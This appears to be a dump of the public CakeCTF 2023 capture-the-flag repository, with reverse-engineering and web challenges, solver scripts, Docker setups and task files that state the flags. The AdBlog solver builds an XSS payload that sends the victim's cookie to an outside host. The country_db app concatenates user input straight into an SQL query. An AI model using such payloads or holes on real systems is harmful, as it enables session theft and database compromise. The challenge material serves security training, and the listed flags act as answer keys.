-------------------------------------------------------------------------------- /rev/imgchk/distfiles/lib/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2023-public/fac06887d5360cec70a09e62ab265e5255a0404c/rev/imgchk/distfiles/lib/libc.so.6 -------------------------------------------------------------------------------- /rev/imgchk/distfiles/lib/libcrypto.so.3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2023-public/fac06887d5360cec70a09e62ab265e5255a0404c/rev/imgchk/distfiles/lib/libcrypto.so.3 -------------------------------------------------------------------------------- /rev/imgchk/distfiles/lib/libpng16.so.16: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2023-public/fac06887d5360cec70a09e62ab265e5255a0404c/rev/imgchk/distfiles/lib/libpng16.so.16 -------------------------------------------------------------------------------- /rev/imgchk/solution/solve.py: -------------------------------------------------------------------------------- 1 | from ptrlib import * 2 | from PIL import Image 3 | from tqdm import tqdm 4 | import hashlib 5 | 6 | img = Image.new('1', (480, 20), 'white') 7 | 8 | md5s = [] 9 | with open("../distfiles/imgchk", "rb") as f: 10 | for x in range(480): 11 | f.seek(0x6020 + x*8) 12 | offset = u64(f.read(8)) 13 | f.seek(offset) 14 | md5s.append(f.read(16)) 15 | 16 | known = {} 17 | for x in tqdm(range(480)): 18 | if md5s[x] in known: 19 | v = known[md5s[x]] 20 | for i in range(20): 21 | img.putpixel((x, i), (v >> i) & 1) 22 | continue 23 | 24 | for v in range((1<<20)-1, -1, -1): 25 | h = hashlib.md5(int.to_bytes(v, 3, 'little')).digest() 26 | if h == md5s[x]: 27 | known[md5s[x]] = v 28 | for i in range(20): 29 | img.putpixel((x, i), (v >> i) & 1) 30 | break 31 | 32 | img.save("output.png") 33 | 34 | 35 | -------------------------------------------------------------------------------- /rev/imgchk/task.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: imgchk 3 | description: > 4 | Ordinal flag checker but not for text. 5 | flag: "CakeCTF{fd408e00d5824d7220c4d624f894144e}" 6 | author: ptr-yudai 7 | tags: 8 | - rev 9 | is_survey: false 10 | -------------------------------------------------------------------------------- /rev/nande/challenge/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | typedef unsigned char bit; 5 | bit InputSequence[0x100]; 6 | bit OutputSequence[0x100]; 7 | bit AnswerSequence[0x100] = { 8 | 1,1,1,1,1,0,0,1,1,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,1,1,1,1,0,0,1,1,1,1,0,1,0,1,1,1,0,0,0,1,1,0, 9 | 1,1,1,1,0,1,0,1,0,0,1,0,1,0,1,1,0,1,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,1,1,1, 10 | 0,0,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0, 11 | 1,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,1,1,1,1,1,1,1,0,1,0,1,0,0,1,1,0, 12 | 1,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,1,1,0,1,1,0,1,0,1,0,1,0,0,1,1,1,1,1,0,1,1,0,1,1,1,0,0,1, 13 | 0,1,1,0,1,1,0,0,1,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0, 14 | }; 15 | 16 | // CakeCTF{h2fsCHAo3xOsBZefcWudTa4} 17 | void NAND(bit a, bit b, bit*z) { 18 | *z = a & b ? 0 : 1; 19 | } 20 | 21 | void MODULE(bit a, bit b, bit*x) { 22 | bit t1, t2, t3; 23 | NAND(a, b, &t1); 24 | NAND(a, t1, &t2); 25 | NAND(b, t1, &t3); 26 | NAND(t2, t3, x); 27 | } 28 | 29 | void CIRCUIT(bit in[], bit out[]) { 30 | size_t i; 31 | for (size_t rnd = 0; rnd < 0x1234; rnd++) { 32 | for (i = 0; i < 0xff; i++) { 33 | MODULE(in[i], in[i + 1], &out[i]); 34 | } 35 | MODULE(in[i], 1, &out[i]); 36 | memcpy(in, out, 0x100); 37 | } 38 | } 39 | 40 | int main(int argc, char **argv) { 41 | if (argc < 2) { 42 | printf("Usage: %s \n", argv[0]); 43 | return 1; 44 | } 45 | char* flag = argv[1]; 46 | if (strlen(flag) != 0x20) goto wrong; 47 | 48 | for (size_t i = 0; i < 0x20; i++) { 49 | for (size_t j = 0; j < 8; j++) { 50 | InputSequence[i*8+j] = (flag[i] >> j) & 1; 51 | } 52 | } 53 | 54 | CIRCUIT(InputSequence, OutputSequence); 55 | 56 | bit is_correct = 1; 57 | for (size_t i = 0; i < 0x100; i++) { 58 | is_correct &= OutputSequence[i] == AnswerSequence[i]; 59 | } 60 | if (!is_correct) goto wrong; 61 | 62 | correct: 63 | puts("Correct!"); 64 | return 0; 65 | wrong: 66 | puts("Wrong..."); 67 | return 1; 68 | } 69 | -------------------------------------------------------------------------------- /rev/nande/distfiles/nand.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2023-public/fac06887d5360cec70a09e62ab265e5255a0404c/rev/nande/distfiles/nand.exe -------------------------------------------------------------------------------- /rev/nande/distfiles/nand.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2023-public/fac06887d5360cec70a09e62ab265e5255a0404c/rev/nande/distfiles/nand.pdb -------------------------------------------------------------------------------- /rev/nande/solution/solve.py: -------------------------------------------------------------------------------- 1 | with open("../distfiles/nand.exe", "rb") as f: 2 | f.seek(0x0001c600) 3 | seq = list(f.read(0x100)) 4 | 5 | for _ in range(0x1234): 6 | seq[0xff] ^= 1 7 | for i in range(0xfe, -1, -1): 8 | seq[i] ^= seq[i+1] 9 | 10 | flag = "" 11 | for i in range(0, 0x100, 8): 12 | c = 0 13 | for j in range(8): 14 | c |= seq[i+j] << j 15 | flag += chr(c) 16 | 17 | print(flag) 18 | -------------------------------------------------------------------------------- /rev/nande/task.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: nande 3 | description: > 4 |

What makes NAND gates popular?

5 | For IDA Free user: You have to run IDA on Windows to load PDB.
6 | For Ghidra user: If Ghidra fails to load PDB and shows invalid function names, just delete the function name and you'll see the correct ones. 7 | flag: "CakeCTF{h2fsCHAo3xOsBZefcWudTa4}" 8 | author: ptr-yudai 9 | tags: 10 | - rev 11 | - warmup 12 | is_survey: false 13 | -------------------------------------------------------------------------------- /web/adblog/distfiles/crawler/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:bullseye-slim 2 | 3 | RUN apt-get update 4 | RUN apt-get install -y wget gnupg ca-certificates procps libxss1 \ 5 | && wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add - \ 6 | && sh -c 'echo "deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list' \ 7 | && apt-get update 8 | RUN apt-get install -y google-chrome-stable 9 | RUN rm -rf /var/lib/apt/lists/* 10 | 11 | WORKDIR /app 12 | ADD package.json ./ 13 | RUN npm install 14 | 15 | RUN groupadd -r pptruser && useradd -r -g pptruser -G audio,video pptruser \ 16 | && mkdir -p /home/pptruser/Downloads \ 17 | && chown -R pptruser:pptruser /home/pptruser \ 18 | && chown -R pptruser:pptruser /app/node_modules 19 | 20 | ADD https://github.com/Yelp/dumb-init/releases/download/v1.2.5/dumb-init_1.2.5_x86_64 /usr/local/bin/dumb-init 21 | RUN chmod +x /usr/local/bin/dumb-init 22 | 23 | USER pptruser 24 | ADD crawler.js ./ 25 | 26 | ENTRYPOINT ["dumb-init", "--"] 27 | CMD ["node", "crawler.js"] 28 | -------------------------------------------------------------------------------- /web/adblog/distfiles/crawler/crawler.js: -------------------------------------------------------------------------------- 1 | const puppeteer = require('puppeteer'); 2 | const Redis = require('ioredis'); 3 | const connection = new Redis(6379, process.env.REDIS_HOST || "redis", {db: 1}); 4 | 5 | const flag = process.env.flag || "FakeCTF{**** DUMMY FLAG *****}"; 6 | const base_url = "http://challenge:8080"; 7 | const browser_option = { 8 | executablePath: '/usr/bin/google-chrome', 9 | headless: "new", 10 | args: [ 11 | '-wait-for-browser', 12 | '--no-sandbox', 13 | '--disable-dev-shm-usage', 14 | '--disable-gpu', 15 | '--js-flags="--noexpose_wasm"' 16 | ] 17 | } 18 | 19 | const crawl = async (target) => { 20 | const url = `${base_url}/${target}`; 21 | console.log(`[+] Crawling: ${url}`); 22 | 23 | const browser = await puppeteer.launch(browser_option); 24 | const page = await browser.newPage(); 25 | try { 26 | await page.setCookie({ 27 | name: 'flag', 28 | value: flag, 29 | domain: new URL(base_url).hostname, 30 | httpOnly: false, 31 | secure: false 32 | }); 33 | await page.goto(url, { 34 | waitUntil: 'networkidle0', 35 | timeout: 3 * 1000, 36 | }); 37 | await page.waitForTimeout(3 * 1000); 38 | } catch (e) { 39 | console.log("[-]", e); 40 | } finally { 41 | await page.close(); 42 | await browser.close(); 43 | } 44 | } 45 | 46 | const handle = async () => { 47 | console.log(await connection.ping()); 48 | connection.blpop('report', 0, async (err, message) => { 49 | try { 50 | await crawl(message[1]); 51 | setTimeout(handle, 10); 52 | } catch (e) { 53 | console.log("[-] " + e); 54 | } 55 | }); 56 | }; 57 | 58 | handle(); 59 | -------------------------------------------------------------------------------- /web/adblog/distfiles/crawler/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "dependencies": { 3 | "ioredis": "^5.3.2", 4 | "puppeteer": "^21.3.8" 5 | } 6 | } 7 | -------------------------------------------------------------------------------- /web/adblog/distfiles/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | challenge: 4 | build: ./service 5 | ports: 6 | - "8001:8080" 7 | links: 8 | - redis 9 | environment: 10 | - UWSGI_INI=/app/uwsgi.ini 11 | - LISTEN_PORT=8080 12 | restart: unless-stopped 13 | 14 | report: 15 | build: ./report 16 | ports: 17 | - "8002:8080" 18 | links: 19 | - redis 20 | - crawler 21 | environment: 22 | - UWSGI_INI=/app/uwsgi.ini 23 | - LISTEN_PORT=8080 24 | restart: unless-stopped 25 | 26 | crawler: 27 | build: ./crawler 28 | links: 29 | - challenge 30 | - redis 31 | restart: unless-stopped 32 | 33 | redis: 34 | build: ./redis 35 | restart: unless-stopped 36 | -------------------------------------------------------------------------------- /web/adblog/distfiles/redis/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM redis:6-alpine 2 | COPY ./redis.conf /redis.conf 3 | CMD ["redis-server", "/redis.conf"] 4 | -------------------------------------------------------------------------------- /web/adblog/distfiles/report/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM tiangolo/uwsgi-nginx-flask:python3.8-alpine 2 | 3 | RUN apk update 4 | RUN adduser -D ctf 5 | RUN pip install Flask redis requests 6 | 7 | WORKDIR /app 8 | ADD . . 9 | RUN chown -R root:ctf . 10 | -------------------------------------------------------------------------------- /web/adblog/distfiles/report/app.py: -------------------------------------------------------------------------------- 1 | import flask 2 | import json 3 | import os 4 | import re 5 | import redis 6 | import requests 7 | 8 | REDIS_HOST = os.getenv("REDIS_HOST", "redis") 9 | REDIS_PORT = int(os.getenv("REDIS_HOST", "6379")) 10 | RECAPTCHA_KEY = os.getenv("RECAPTCHA_KEY", None) 11 | 12 | app = flask.Flask(__name__) 13 | 14 | def db(): 15 | if getattr(flask.g, '_redis', None) is None: 16 | flask.g._redis = redis.Redis(host=REDIS_HOST, port=REDIS_PORT, db=1) 17 | return flask.g._redis 18 | 19 | def recaptcha(response): 20 | if RECAPTCHA_KEY is None: 21 | # Players' environment 22 | return True 23 | r = requests.post("https://www.google.com/recaptcha/api/siteverify", 24 | params={'secret': RECAPTCHA_KEY, 25 | 'response': response}) 26 | return json.loads(r.text)['success'] 27 | 28 | @app.route("/", methods=['GET', 'POST']) 29 | def report(): 30 | error = ok = "" 31 | if flask.request.method == 'POST': 32 | blog_id = str(flask.request.form.get('url', '')) 33 | response = flask.request.form.get('g-recaptcha-response') 34 | if not re.match("^[0-9a-f]{64}$", blog_id): 35 | error = 'Invalid blog ID' 36 | elif not recaptcha(response): 37 | error = "reCAPTCHA failed." 38 | else: 39 | db().rpush('report', f"blog/{blog_id}") 40 | ok = "Admin will check it soon." 41 | return flask.render_template("index.html", ok=ok, error=error) 42 | 43 | if __name__ == '__main__': 44 | app.run(debug=True) 45 | -------------------------------------------------------------------------------- /web/adblog/distfiles/report/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | AdBlog Bug Tracker 5 | 6 | 28 | 29 | 30 |

Report to Admin

31 |

If you find a sensitive/harmful post, please report it.

32 |
33 | {% if error %}

{{ error }}

{% endif %} 34 | {% if ok %}

{{ ok }}

{% endif %} 35 | 36 | 37 |
38 | 39 | 58 | 59 | -------------------------------------------------------------------------------- /web/adblog/distfiles/report/uwsgi.ini: -------------------------------------------------------------------------------- 1 | [uwsgi] 2 | module = app 3 | callable = app 4 | uid = ctf 5 | gid = ctf 6 | -------------------------------------------------------------------------------- /web/adblog/distfiles/service/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM tiangolo/uwsgi-nginx-flask:python3.8-alpine 2 | 3 | RUN apk update 4 | RUN adduser -D ctf 5 | RUN pip install Flask redis 6 | 7 | WORKDIR /app 8 | ADD . . 9 | RUN chown -R root:ctf . 10 | -------------------------------------------------------------------------------- /web/adblog/distfiles/service/app.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import flask 3 | import json 4 | import os 5 | import re 6 | import redis 7 | 8 | REDIS_HOST = os.getenv("REDIS_HOST", "redis") 9 | REDIS_PORT = int(os.getenv("REDIS_PORT", "6379")) 10 | 11 | app = flask.Flask(__name__) 12 | 13 | @app.route('/', methods=['GET', 'POST']) 14 | def index(): 15 | if flask.request.method == 'GET': 16 | return flask.render_template("index.html") 17 | 18 | blog_id = os.urandom(32).hex() 19 | title = flask.request.form.get('title', 'untitled') 20 | content = flask.request.form.get('content', 'empty post') 21 | if len(title) > 128 or len(content) > 1024*1024: 22 | return flask.render_template("index.html", 23 | msg="Too long title or content.") 24 | 25 | db().set(blog_id, json.dumps({'title': title, 'content': content})) 26 | return flask.redirect(f"/blog/{blog_id}") 27 | 28 | @app.route('/blog/') 29 | def blog(blog_id): 30 | if not re.match("^[0-9a-f]{64}$", blog_id): 31 | return flask.redirect("/") 32 | 33 | blog = db().get(blog_id) 34 | if blog is None: 35 | return flask.redirect("/") 36 | 37 | blog = json.loads(blog) 38 | title = blog['title'] 39 | content = base64.b64encode(blog['content'].encode()).decode() 40 | return flask.render_template("blog.html", title=title, content=content) 41 | 42 | 43 | def db(): 44 | if getattr(flask.g, '_redis', None) is None: 45 | flask.g._redis = redis.Redis(host=REDIS_HOST, port=REDIS_PORT, db=0) 46 | return flask.g._redis 47 | 48 | if __name__ == '__main__': 49 | app.run() 50 | -------------------------------------------------------------------------------- /web/adblog/distfiles/service/static/css/ad-style.css: -------------------------------------------------------------------------------- 1 | @keyframes rotateAnim { 2 | 0% { transform: rotate(deg);} 3 | 100% { transform:rotate(360deg);} 4 | } 5 | @keyframes semiRotate { 6 | 0% { transform: rotate(-15deg);} 7 | 50% { transform:rotate(0deg);} 8 | 100% { transform: rotate(15deg);} 9 | } 10 | @keyframes scaler { 11 | 0% { transform: scale(1); } 12 | 100% { transform: scale(1.5); } 13 | } 14 | .imgAnim927 { 15 | animation: rotateAnim 2s linear 0s infinite forwards running; 16 | } 17 | .titleAnim927 { 18 | animation: semiRotate 1s ease-out 0s infinite alternate none running; 19 | } 20 | .btnAnim927 { 21 | animation: scaler 1s linear 0s infinite alternate none running; 22 | } 23 | .btnAnim927:hover{ 24 | animation-play-state: paused; 25 | } 26 | .overlay { 27 | height: 100%; 28 | width: 0; 29 | position: fixed; 30 | z-index: 1; 31 | left: 0; 32 | top: 0; 33 | background-color: rgba(0,0,0, 0.8); 34 | overflow-x: hidden; 35 | } 36 | .overlay-content { 37 | position: relative; 38 | top: 25%; 39 | width: 40%; 40 | text-align: center; 41 | margin: auto auto; 42 | color: #eee; 43 | font-size: 20px; 44 | } 45 | -------------------------------------------------------------------------------- /web/adblog/distfiles/service/static/css/simple-v1.min.css: -------------------------------------------------------------------------------- 1 | :root{--sans-font:-apple-system,BlinkMacSystemFont,"Avenir Next",Avenir,"Nimbus Sans L",Roboto,Noto,"Segoe UI",Arial,Helvetica,"Helvetica Neue",sans-serif;--mono-font:Consolas,Menlo,Monaco,"Andale Mono","Ubuntu Mono",monospace;--base-fontsize:1.15rem;--header-scale:1.25;--line-height:1.618;--bg:#fff;--accent-bg:#f5f7ff;--text:#212121;--text-light:#585858;--border:#d8dae1;--accent:#0d47a1;--accent-light:#90caf9;--code:#d81b60;--preformatted:#444;--marked:#ffdd33;--disabled:#efefef}@media (prefers-color-scheme:dark){:root{--bg:#212121;--accent-bg:#2b2b2b;--text:#dcdcdc;--text-light:#ababab;--border:#666;--accent:#ffb300;--accent-light:#ffecb3;--code:#f06292;--preformatted:#ccc;--disabled:#111}img,video{opacity:.6}}html{font-family:var(--sans-font)}body{color:var(--text);background:var(--bg);font-size:var(--base-fontsize);line-height:var(--line-height);display:flex;min-height:100vh;flex-direction:column;flex:1;margin:0 auto;max-width:45rem;padding:0 .5rem;overflow-x:hidden;word-break:break-word;overflow-wrap:break-word}header{background:var(--accent-bg);border-bottom:1px solid var(--border);text-align:center;padding:2rem .5rem;width:100vw;position:relative;box-sizing:border-box;left:50%;right:50%;margin-left:-50vw;margin-right:-50vw}header h1,header p{margin:0}main{padding-top:1.5rem}h1,h2,h3{line-height:1.1}nav{font-size:1rem;line-height:2;padding:1rem 0}nav a{margin:1rem 1rem 0 0;border:1px solid var(--border);border-radius:5px;color:var(--text)!important;display:inline-block;padding:.1rem 1rem;text-decoration:none;transition:.4s}nav a:hover{color:var(--accent)!important;border-color:var(--accent)}nav a.current:hover{text-decoration:none}footer{margin-top:4rem;padding:2rem 1rem 1.5rem 1rem;color:var(--text-light);font-size:.9rem;text-align:center;border-top:1px solid var(--border)}h1{font-size:calc(var(--base-fontsize) * var(--header-scale) * var(--header-scale) * var(--header-scale) * var(--header-scale));margin-top:calc(var(--line-height) * 1.5rem)}h2{font-size:calc(var(--base-fontsize) * var(--header-scale) * var(--header-scale) * var(--header-scale));margin-top:calc(var(--line-height) * 1.5rem)}h3{font-size:calc(var(--base-fontsize) * var(--header-scale) * var(--header-scale));margin-top:calc(var(--line-height) * 1.5rem)}h4{font-size:calc(var(--base-fontsize) * var(--header-scale));margin-top:calc(var(--line-height) * 1.5rem)}h5{font-size:var(--base-fontsize);margin-top:calc(var(--line-height) * 1.5rem)}h6{font-size:calc(var(--base-fontsize)/ var(--header-scale));margin-top:calc(var(--line-height) * 1.5rem)}a,a:visited{color:var(--accent)}a:hover{text-decoration:none}[role=button],a button,button,input[type=button],input[type=reset],input[type=submit]{border:none;border-radius:5px;background:var(--accent);font-size:1rem;color:var(--bg);padding:.7rem .9rem;margin:.5rem 0;transition:.4s}[role=button][aria-disabled=true],a button[disabled],button[disabled],input[type=button][disabled],input[type=checkbox][disabled],input[type=radio][disabled],input[type=reset][disabled],input[type=submit][disabled],select[disabled]{cursor:default;opacity:.5;cursor:not-allowed}input:disabled,select:disabled,textarea:disabled{cursor:not-allowed;background-color:var(--disabled)}input[type=range]{padding:0}abbr{cursor:help}[role=button]:focus,[role=button]:not([aria-disabled=true]):hover,button:enabled:hover,button:focus,input[type=button]:enabled:hover,input[type=button]:focus,input[type=checkbox]:enabled:hover,input[type=checkbox]:focus,input[type=radio]:enabled:hover,input[type=radio]:focus,input[type=reset]:enabled:hover,input[type=reset]:focus,input[type=submit]:enabled:hover,input[type=submit]:focus{filter:brightness(1.4);cursor:pointer}details{background:var(--accent-bg);border:1px solid var(--border);border-radius:5px;margin-bottom:1rem}summary{cursor:pointer;font-weight:700;padding:.6rem 1rem}details[open]{padding:.6rem 1rem .75rem 1rem}details[open] summary{margin-bottom:.5rem;padding:0}details[open]>:last-child{margin-bottom:0}table{border-collapse:collapse;width:100%;margin:1.5rem 0}td,th{border:1px solid var(--border);text-align:left;padding:.5rem}th{background:var(--accent-bg);font-weight:700}tr:nth-child(even){background:var(--accent-bg)}table caption{font-weight:700;margin-bottom:.5rem}ol,ul{padding-left:3rem}input,select,textarea{font-size:inherit;font-family:inherit;padding:.5rem;margin-bottom:.5rem;color:var(--text);background:var(--bg);border:1px solid var(--border);border-radius:5px;box-shadow:none;box-sizing:border-box;width:60%;-moz-appearance:none;-webkit-appearance:none;appearance:none}select{background-image:linear-gradient(45deg,transparent 49%,var(--text) 51%),linear-gradient(135deg,var(--text) 51%,transparent 49%);background-position:calc(100% - 20px),calc(100% - 15px);background-size:5px 5px,5px 5px;background-repeat:no-repeat}select[multiple]{background-image:none!important}input[type=checkbox],input[type=radio]{vertical-align:bottom;position:relative}input[type=radio]{border-radius:100%}input[type=checkbox]:checked,input[type=radio]:checked{background:var(--accent)}input[type=checkbox]:checked::after{content:" ";width:.1em;height:.25em;border-radius:0;position:absolute;top:.05em;left:.18em;background:0 0;border-right:solid var(--bg) .08em;border-bottom:solid var(--bg) .08em;font-size:1.8em;transform:rotate(45deg)}input[type=radio]:checked::after{content:" ";width:.25em;height:.25em;border-radius:100%;position:absolute;top:.125em;background:var(--bg);left:.125em;font-size:32px}textarea{width:80%}@media only screen and (max-width:720px){input,select,textarea{width:100%}}input[type=checkbox],input[type=radio]{width:auto}input[type=file]{border:0}fieldset{border:0;padding:0;margin:0}hr{color:var(--border);border-top:1px;margin:1rem auto}mark{padding:2px 5px;border-radius:4px;background:var(--marked)}main img,main video{max-width:100%;height:auto;border-radius:5px}figure{margin:0}figcaption{font-size:.9rem;color:var(--text-light);text-align:center;margin-bottom:1rem}blockquote{margin:2rem 0 2rem 2rem;padding:.4rem .8rem;border-left:.35rem solid var(--accent);opacity:.8;font-style:italic}cite{font-size:.9rem;color:var(--text-light);font-style:normal}code,kbd,pre,pre span,samp{font-size:1.075rem;font-family:var(--mono-font);color:var(--code)}kbd{color:var(--preformatted);border:1px solid var(--preformatted);border-bottom:3px solid var(--preformatted);border-radius:5px;padding:.1rem}pre{padding:1rem 1.4rem;max-width:100%;overflow:auto;overflow-x:auto;color:var(--preformatted);background:var(--accent-bg);border:1px solid var(--border);border-radius:5px}pre code{color:var(--preformatted);background:0 0;margin:0;padding:0} -------------------------------------------------------------------------------- /web/adblog/distfiles/service/static/js/ads.js: -------------------------------------------------------------------------------- 1 | const ADS_URL = 'https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js'; 2 | 3 | async function detectAdBlock(callback) { 4 | try { 5 | let res = await fetch(ADS_URL, { method: 'HEAD' }); 6 | return res.status !== 200; 7 | } catch { 8 | return true; 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /web/adblog/distfiles/service/templates/blog.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | {{ title }} - AdBlog 5 | 6 | 7 | 8 | 9 | 10 |
11 |
12 |

AdBlock Detected

13 |

14 | The revenue earned from advertising enables us to provide the quality content you're trying to reach on this blog. In order to view the post, we request that you disable adblock in plugin settings. 15 |

16 | 17 |
18 |
19 |
20 | 21 |

{{ title }}

22 |
23 |
24 | 25 |

Ad by AdBlog

26 | 37 |
38 | 39 | 57 | 58 | 59 | -------------------------------------------------------------------------------- /web/adblog/distfiles/service/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 |

Blog

12 | {% if msg %}

Error: {{ msg }}

{% endif %} 13 |
14 |

15 | 16 | 17 |

18 |

19 | 20 | 21 |

22 | 23 |
24 |
25 | 26 | 27 | -------------------------------------------------------------------------------- /web/adblog/distfiles/service/uwsgi.ini: -------------------------------------------------------------------------------- 1 | [uwsgi] 2 | module = app 3 | callable = app 4 | uid = ctf 5 | gid = ctf 6 | -------------------------------------------------------------------------------- /web/adblog/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | challenge: 4 | build: ./distfiles/service 5 | ports: 6 | - "8001:8080" 7 | links: 8 | - redis 9 | environment: 10 | - UWSGI_INI=/app/uwsgi.ini 11 | - LISTEN_PORT=8080 12 | restart: unless-stopped 13 | 14 | report: 15 | build: ./distfiles/report 16 | ports: 17 | - "8002:8080" 18 | links: 19 | - redis 20 | - crawler 21 | environment: 22 | - UWSGI_INI=/app/uwsgi.ini 23 | - LISTEN_PORT=8080 24 | restart: unless-stopped 25 | 26 | crawler: 27 | build: ./distfiles/crawler 28 | links: 29 | - challenge 30 | - redis 31 | environment: 32 | - "flag=CakeCTF{setTimeout_3v4lu4t3s_str1ng_4s_a_j4va5cr1pt_c0de}" 33 | restart: unless-stopped 34 | 35 | redis: 36 | build: ./distfiles/redis 37 | restart: unless-stopped 38 | -------------------------------------------------------------------------------- /web/adblog/solution/solve.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import os 3 | import requests 4 | 5 | HOST = os.getenv("HOST", "localhost") 6 | PORT = int(os.getenv("PORT", 8001)) 7 | 8 | pwn_host = "192.168.3.8" 9 | pwn_port = 18001 10 | 11 | 12 | URL = f"http://{HOST}:{PORT}/" 13 | 14 | exploit = base64.b64encode( 15 | f"if (document.cookie) location.href='http://{pwn_host}:{pwn_port}/?a='+document.cookie".encode() 16 | ).decode() 17 | 18 | payload = f""" 19 | 20 | """ 21 | r = requests.post(URL, data={"title": "a", 22 | "content": payload}, 23 | allow_redirects=False) 24 | 25 | print(r.headers["Location"]) 26 | -------------------------------------------------------------------------------- /web/adblog/task.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: "AdBlog" 3 | description: > 4 |

5 | Post your article anonymously here!
6 | * Please report us if you find any sensitive/harmful posts. 7 |

8 | flag: "CakeCTF{setTimeout_3v4lu4t3s_str1ng_4s_a_j4va5cr1pt_c0de}" 9 | author: ptr-yudai 10 | host: adblog.2023.cakectf.com 11 | port: 8001 12 | tags: 13 | - web 14 | -------------------------------------------------------------------------------- /web/country_db/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM tiangolo/uwsgi-nginx-flask:python3.8-alpine 2 | 3 | RUN apk update 4 | RUN adduser -D ctf 5 | RUN pip install Flask 6 | 7 | ARG FLAG 8 | ENV FLAG=${FLAG} 9 | 10 | WORKDIR /app 11 | ADD distfiles . 12 | RUN python3 init_db.py 13 | RUN chown -R root:ctf . 14 | RUN chmod 444 database.db 15 | -------------------------------------------------------------------------------- /web/country_db/distfiles/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM tiangolo/uwsgi-nginx-flask:python3.8-alpine 2 | 3 | RUN apk update 4 | RUN adduser -D ctf 5 | RUN pip install Flask 6 | 7 | WORKDIR /app 8 | ADD . . 9 | RUN python3 init_db.py 10 | RUN chown -R root:ctf . 11 | RUN chmod 444 database.db 12 | -------------------------------------------------------------------------------- /web/country_db/distfiles/app.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import flask 3 | import sqlite3 4 | 5 | app = flask.Flask(__name__) 6 | 7 | def db_search(code): 8 | with sqlite3.connect('database.db') as conn: 9 | cur = conn.cursor() 10 | cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')") 11 | found = cur.fetchone() 12 | return None if found is None else found[0] 13 | 14 | @app.route('/') 15 | def index(): 16 | return flask.render_template("index.html") 17 | 18 | @app.route('/api/search', methods=['POST']) 19 | def api_search(): 20 | req = flask.request.get_json() 21 | if 'code' not in req: 22 | flask.abort(400, "Empty country code") 23 | 24 | code = req['code'] 25 | if len(code) != 2 or "'" in code: 26 | flask.abort(400, "Invalid country code") 27 | 28 | name = db_search(code) 29 | if name is None: 30 | flask.abort(404, "No such country") 31 | 32 | return {'name': name} 33 | 34 | if __name__ == '__main__': 35 | app.run(debug=True) 36 | -------------------------------------------------------------------------------- /web/country_db/distfiles/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | dist_country_db: 4 | build: . 5 | ports: 6 | - "8020:8080" 7 | environment: 8 | - UWSGI_INI=/app/uwsgi.ini 9 | - LISTEN_PORT=8080 10 | restart: unless-stopped 11 | -------------------------------------------------------------------------------- /web/country_db/distfiles/init_db.py: -------------------------------------------------------------------------------- 1 | import sqlite3 2 | import os 3 | 4 | FLAG = os.getenv("FLAG", "FakeCTF{*** REDACTED ***}") 5 | 6 | conn = sqlite3.connect("database.db") 7 | conn.execute("""CREATE TABLE country ( 8 | code TEXT NOT NULL, 9 | name TEXT NOT NULL 10 | );""") 11 | conn.execute("""CREATE TABLE flag ( 12 | flag TEXT NOT NULL 13 | );""") 14 | conn.execute(f"INSERT INTO flag VALUES (?)", (FLAG,)) 15 | 16 | # Country list from https://gist.github.com/vxnick/380904 17 | countries = [ 18 | ('AF', 'Afghanistan'), 19 | ('AX', 'Aland Islands'), 20 | ('AL', 'Albania'), 21 | ('DZ', 'Algeria'), 22 | ('AS', 'American Samoa'), 23 | ('AD', 'Andorra'), 24 | ('AO', 'Angola'), 25 | ('AI', 'Anguilla'), 26 | ('AQ', 'Antarctica'), 27 | ('AG', 'Antigua And Barbuda'), 28 | ('AR', 'Argentina'), 29 | ('AM', 'Armenia'), 30 | ('AW', 'Aruba'), 31 | ('AU', 'Australia'), 32 | ('AT', 'Austria'), 33 | ('AZ', 'Azerbaijan'), 34 | ('BS', 'Bahamas'), 35 | ('BH', 'Bahrain'), 36 | ('BD', 'Bangladesh'), 37 | ('BB', 'Barbados'), 38 | ('BY', 'Belarus'), 39 | ('BE', 'Belgium'), 40 | ('BZ', 'Belize'), 41 | ('BJ', 'Benin'), 42 | ('BM', 'Bermuda'), 43 | ('BT', 'Bhutan'), 